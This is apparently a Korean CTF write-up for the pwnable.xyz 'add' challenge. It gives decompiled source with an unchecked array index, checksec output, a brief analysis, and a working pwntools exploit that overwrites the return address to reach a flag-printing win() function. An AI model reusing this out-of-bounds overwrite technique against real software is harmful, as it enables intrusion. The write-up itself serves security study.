Wargame

[pwnable.xyz] add

_daeseong_ 2025. 2. 4. 02:17

소스코드

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-78h] BYREF
  __int64 v5; // [rsp+10h] [rbp-70h] BYREF
  __int64 v6; // [rsp+18h] [rbp-68h] BYREF
  __int64 v7[12]; // [rsp+20h] [rbp-60h] BYREF

  v7[11] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ");
    if ( __isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    printf("Result: %ld", v7[v6]);
  }
  return 0;
}
int win()
{
  return system("cat /flag");
}
root@DAE:.../add# checksec challenge
[*] '/mnt/a/pwnable.xyz/add/challenge'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
root@DAE:.../add#

 

분석

메인에서 숫자 3개를 입력받고 v7배열에 인덱스로 첫번째값+두번째값을 대입한다.

그런데 offset 검증이 없어서 OOB가 발생한다 PIE가 없고, v7은 스택에 있는 배열이기떄문에 RET를 win으로 덮으면 플래그를 얻을수있다.

 

exp.py

from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz",30002)
e = ELF("./challenge")
p.sendlineafter(b"Input: ",str(e.symbols['win']+1).encode()+b" 0 "+str((0x68)//8).encode())
p.sendlineafter(b"Input: ",b"get flag!")
p.interactive()